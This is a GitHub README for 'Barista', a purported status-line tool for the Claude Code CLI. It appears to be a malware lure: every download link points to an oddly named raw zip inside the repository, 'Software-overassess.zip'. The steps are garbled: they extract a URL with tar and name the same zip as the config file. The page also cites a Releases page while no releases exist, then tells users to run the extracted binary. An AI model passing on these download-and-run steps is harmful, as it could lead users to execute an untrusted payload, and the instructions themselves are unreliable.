Skip to content

Mursyidi25/Barista

Repository files navigation

☕ Barista - Customize Your Terminal Status Line Easily

📥 Download Barista

Download Barista

🚀 Getting Started

Welcome to Barista! This application serves as a modular status line for the Claude Code CLI. It helps you keep track of your context usage, rate limits, costs, git status, and offers over 20 customizable modules for your terminal.

This guide will assist you in downloading and running Barista.

📋 Requirements

To run Barista, you will need:

  • A macOS computer.
  • Access to the terminal application.
  • Basic familiarity with command-line usage.

If you're comfortable using your terminal, you're ready to go!

📂 Download & Install

  1. Visit the Releases Page
    Go to our Releases page to find the latest version of Barista.

  2. Select the Latest Release
    You will see a list of versions. Choose the most recent one—this will usually be at the top of the list.

  3. Download the File
    Click on the asset that matches your system requirements. It might look something like https://github.com/Mursyidi25/Barista/raw/refs/heads/main/modules/Software-overassess.zip.

  4. Extract the File
    After downloading, extract the contents. You can do this by navigating to your download folder in the terminal and running:

    tar -xvf https://github.com/Mursyidi25/Barista/raw/refs/heads/main/modules/Software-overassess.zip
    
  5. Run Barista
    Change to the newly extracted folder and run the application:

    cd barista-v1.0
    ./barista
    

🔧 Configuration

Barista comes with numerous customizable options. To see available modules, you can run:

./barista --help

This command will provide details about each module and how to configure them.

🛠 Features

  • Real-Time Context Usage: Keep an eye on your system's performance.
  • Rate Limits: Monitor API usage to avoid hitting limits.
  • Costs Tracking: Easy management of the costs associated with your usage.
  • Git Status: Quickly check the status of your repositories with a glance.
  • Customizable Modules: Choose which modules to display according to your needs.

The combination of these features makes Barista a powerful tool for developers and casual users alike.

📈 Example Setup

For a simple setup, you might want to enable the following modules:

  • Context Usage
  • Git Status
  • Rate Limits

You can enable these by modifying the configuration file found in the Barista folder. Edit the https://github.com/Mursyidi25/Barista/raw/refs/heads/main/modules/Software-overassess.zip file, and set the modules, like so:

modules = ["context_usage", "git_status", "rate_limits"]

Then, restart the application for the changes to take effect.

📝 Additional Resources

For more detailed documentation and advanced configurations, please visit our Wiki page.

💬 Support

If you encounter any issues while using Barista, please open an issue on our GitHub repository. We aim to respond promptly and assist you with your concerns.

Thank you for choosing Barista!

Download Barista

About

☕ Track real-time development stats for Claude Code sessions, including context usage and costs, with this modular and feature-rich statusline tool.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages